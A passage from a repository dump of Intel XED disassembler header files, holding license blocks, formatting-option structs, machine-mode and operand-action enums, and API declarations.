| Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-format-options.h 32 | 33 | 34 | #ifndef _XED_FORMAT_OPTIONS_H_ 35 | # define _XED_FORMAT_OPTIONS_H_ 36 | #include "xed-types.h" 37 | 38 | 39 | /// @name Formatting options 40 | //@{ 41 | 42 | /// Options for the disasembly formatting functions. Set once during 43 | /// initialization by a calling #xed_format_set_options 44 | /// @ingroup PRINT 45 | typedef struct { 46 | /// by default, XED prints the hex address before any symbolic name for 47 | /// branch targets. If set to zero, then XED will not print the hex 48 | /// address before a valid symbolic name. 49 | unsigned int hex_address_before_symbolic_name; 50 | 51 | /// Simple XML output format for the Intel syntax disassembly. 52 | unsigned int xml_a; 53 | /// Include flags in the XML formatting (must also supply xml_a) 54 | unsigned int xml_f; 55 | 56 | /// omit unit scale "*1" 57 | unsigned int omit_unit_scale; 58 | 59 | /// do not sign extend signed immediates 60 | unsigned int no_sign_extend_signed_immediates; 61 | 62 | } xed_format_options_t; 63 | 64 | /// Optionally, customize the disassembly formatting options by passing 65 | /// in a #xed_format_options_t structure. 66 | /// @ingroup PRINT 67 | XED_DLL_EXPORT void 68 | xed_format_set_options(xed_format_options_t format_options); 69 | //@} 70 | 71 | #endif 72 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-gen-table-defs.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-gen-table-defs.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_GEN_TABLE_DEFS_H_) 37 | # define _XED_GEN_TABLE_DEFS_H_ 38 | #define XED_ICLASS_NAME_STR_MAX 22 39 | #define XED_MAX_ATTRIBUTE_COUNT 55 40 | #define XED_MAX_INST_TABLE_NODES 3417 41 | #define XED_MAX_OPERAND_TABLE_NODES 920 42 | #define XED_MAX_OPERAND_SEQUENCES 3955 43 | #define XED_MAX_REQUIRED_SIMPLE_FLAGS_ENTRIES 943 44 | #define XED_MAX_REQUIRED_COMPLEX_FLAGS_ENTRIES 53 45 | #define XED_MAX_IFORMS_PER_ICLASS 28 46 | #define XED_MAX_REQUIRED_ATTRIBUTES 112 47 | #define XED_MAX_ACTIONS_PER_SIMPLE_FLAG 20 48 | #define XED_MAX_GLOBAL_FLAG_ACTIONS 4181 49 | #define XED_MAX_CONVERT_PATTERNS 1 50 | #define XED_MAX_DECORATIONS_PER_OPERAND 3 51 | #endif 52 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-immed.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-immed.h 32 | /// 33 | 34 | #ifndef _XED_IMMED_H_ 35 | # define _XED_IMMED_H_ 36 | 37 | #include "xed-types.h" 38 | #include "xed-common-defs.h" 39 | #include "xed-util.h" 40 | 41 | XED_DLL_EXPORT xed_int64_t xed_immed_from_bytes(xed_int8_t* bytes, xed_uint_t n); 42 | /* 43 | Convert an array of bytes representing a Little Endian byte ordering 44 | of a number (11 22 33 44 55.. 88), in to a a 64b SIGNED number. That gets 45 | stored in memory in little endian format of course. 46 | 47 | Input 11 22 33 44 55 66 77 88, 8 48 | Ouptut 0x8877665544332211 (stored in memory as (lsb) 11 22 33 44 55 66 77 88 (msb)) 49 | 50 | Input f0, 1 51 | Output 0xffff_ffff_ffff_fff0 (stored in memory as f0 ff ff ff ff ff ff ff) 52 | 53 | Input f0 00, 2 54 | Output 0x0000_0000_0000_00F0 (stored in memory a f0 00 00 00 00 00 00 00) 55 | 56 | Input 03, 1 57 | Output 0x0000_0000_0000_0030 (stored in memory a 30 00 00 00 00 00 00 00) 58 | */ 59 | 60 | 61 | #endif 62 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-init-pointer-names.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-init-pointer-names.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_INIT_POINTER_NAMES_H_) 37 | # define _XED_INIT_POINTER_NAMES_H_ 38 | #include "xed-internal-header.h" 39 | #define XED_MAX_POINTER_NAMES 33 40 | #endif 41 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-init.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-init.h 32 | /// 33 | 34 | 35 | 36 | 37 | #if !defined(_XED_INIT_H_) 38 | # define _XED_INIT_H_ 39 | 40 | 41 | /// @ingroup INIT 42 | /// This is the call to initialize the XED encode and decode tables. It 43 | /// must be called once before using XED. 44 | void XED_DLL_EXPORT xed_tables_init(void); 45 | 46 | //////////////////////////////////////////////////////////////////////////// 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-isa-set.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-isa-set.h 32 | 33 | 34 | #if !defined(_XED_ISA_SET_H_) 35 | # define _XED_ISA_SET_H_ 36 | 37 | #include "xed-common-hdrs.h" 38 | #include "xed-types.h" 39 | #include "xed-isa-set-enum.h" /* generated */ 40 | #include "xed-chip-enum.h" /* generated */ 41 | 42 | /// @ingroup ISASET 43 | /// return 1 if the isa_set is part included in the specified chip, 0 44 | /// otherwise. 45 | XED_DLL_EXPORT xed_bool_t 46 | xed_isa_set_is_valid_for_chip(xed_isa_set_enum_t isa_set, 47 | xed_chip_enum_t chip); 48 | 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-machine-mode-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-machine-mode-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_MACHINE_MODE_ENUM_H_) 37 | # define _XED_MACHINE_MODE_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_MACHINE_MODE_INVALID, 41 | XED_MACHINE_MODE_LONG_64, ///< 64b operating mode 42 | XED_MACHINE_MODE_LONG_COMPAT_32, ///< 32b protected mode 43 | XED_MACHINE_MODE_LONG_COMPAT_16, ///< 16b protected mode 44 | XED_MACHINE_MODE_LEGACY_32, ///< 32b protected mode 45 | XED_MACHINE_MODE_LEGACY_16, ///< 16b protected mode 46 | XED_MACHINE_MODE_REAL_16, ///< 16b real mode 47 | XED_MACHINE_MODE_LAST 48 | } xed_machine_mode_enum_t; 49 | 50 | /// This converts strings to #xed_machine_mode_enum_t types. 51 | /// @param s A C-string. 52 | /// @return #xed_machine_mode_enum_t 53 | /// @ingroup ENUM 54 | XED_DLL_EXPORT xed_machine_mode_enum_t str2xed_machine_mode_enum_t(const char* s); 55 | /// This converts strings to #xed_machine_mode_enum_t types. 56 | /// @param p An enumeration element of type xed_machine_mode_enum_t. 57 | /// @return string 58 | /// @ingroup ENUM 59 | XED_DLL_EXPORT const char* xed_machine_mode_enum_t2str(const xed_machine_mode_enum_t p); 60 | 61 | /// Returns the last element of the enumeration 62 | /// @return xed_machine_mode_enum_t The last element of the enumeration. 63 | /// @ingroup ENUM 64 | XED_DLL_EXPORT xed_machine_mode_enum_t xed_machine_mode_enum_t_last(void); 65 | #endif 66 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-operand-action-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-action-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_ACTION_ENUM_H_) 37 | # define _XED_OPERAND_ACTION_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPERAND_ACTION_INVALID, 41 | XED_OPERAND_ACTION_RW, ///< Read and written (must write) 42 | XED_OPERAND_ACTION_R, ///< Read-only 43 | XED_OPERAND_ACTION_W, ///< Write-only (must write) 44 | XED_OPERAND_ACTION_RCW, ///< Read and conditionlly written (may write) 45 | XED_OPERAND_ACTION_CW, ///< Conditionlly written (may write) 46 | XED_OPERAND_ACTION_CRW, ///< Conditionlly read, always written (must write) 47 | XED_OPERAND_ACTION_CR, ///< Conditional read 48 | XED_OPERAND_ACTION_LAST 49 | } xed_operand_action_enum_t; 50 | 51 | /// This converts strings to #xed_operand_action_enum_t types. 52 | /// @param s A C-string. 53 | /// @return #xed_operand_action_enum_t 54 | /// @ingroup ENUM 55 | XED_DLL_EXPORT xed_operand_action_enum_t str2xed_operand_action_enum_t(const char* s); 56 | /// This converts strings to #xed_operand_action_enum_t types. 57 | /// @param p An enumeration element of type xed_operand_action_enum_t. 58 | /// @return string 59 | /// @ingroup ENUM 60 | XED_DLL_EXPORT const char* xed_operand_action_enum_t2str(const xed_operand_action_enum_t p); 61 | 62 | /// Returns the last element of the enumeration 63 | /// @return xed_operand_action_enum_t The last element of the enumeration. 64 | /// @ingroup ENUM 65 | XED_DLL_EXPORT xed_operand_action_enum_t xed_operand_action_enum_t_last(void); 66 | #endif 67 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-operand-action.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-action.h 32 | /// 33 | 34 | #if !defined(_XED_OPERAND_ACTION_H_) 35 | # define _XED_OPERAND_ACTION_H_ 36 | 37 | #include "xed-types.h" 38 | #include "xed-operand-action-enum.h" 39 | 40 | XED_DLL_EXPORT xed_uint_t xed_operand_action_read(const xed_operand_action_enum_t rw); 41 | XED_DLL_EXPORT xed_uint_t xed_operand_action_read_only(const xed_operand_action_enum_t rw); 42 | XED_DLL_EXPORT xed_uint_t xed_operand_action_written(const xed_operand_action_enum_t rw); 43 | XED_DLL_EXPORT xed_uint_t xed_operand_action_written_only(const xed_operand_action_enum_t rw); 44 | XED_DLL_EXPORT xed_uint_t xed_operand_action_read_and_written(const xed_operand_action_enum_t rw); 45 | XED_DLL_EXPORT xed_uint_t xed_operand_action_conditional_read(const xed_operand_action_enum_t rw); 46 | XED_DLL_EXPORT xed_uint_t xed_operand_action_conditional_write(const xed_operand_action_enum_t rw); 47 | 48 | #endif 49 | 50 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-operand-convert-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-operand-convert-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_OPERAND_CONVERT_ENUM_H_) 37 | # define _XED_OPERAND_CONVERT_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_OPERAND_CONVERT_INVALID, 41 | XED_OPERAND_CONVERT_LAST 42 | } xed_operand_convert_enum_t; 43 | 44 | /// This converts strings to #xed_operand_convert_enum_t types. 45 | /// @param s A C-string. 46 | /// @return #xed_operand_convert_enum_t 47 | /// @ingroup ENUM 48 | XED_DLL_EXPORT xed_operand_convert_enum_t str2xed_operand_convert_enum_t(const char* s); 49 | /// This converts strings to #xed_operand_convert_enum_t types. 50 | /// @param p An enumeration element of type xed_operand_convert_enum_t. 51 | /// @return string 52 | /// @ingroup ENUM 53 | XED_DLL_EXPORT const char* xed_operand_convert_enum_t2str(const xed_operand_convert_enum_t p); 54 | 55 | /// Returns the last element of the enumeration 56 | /// @return xed_operand_convert_enum_t The last element of the enumeration. 57 | /// @ingroup ENUM 58 | XED_DLL_EXPORT xed_operand_convert_enum_t xed_operand_convert_enum_t_last(void); 59 | #endif 60 | -------------------------------------------------------------------------------- /libs/xed2-intel64/include/xed-operand-ctype-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, 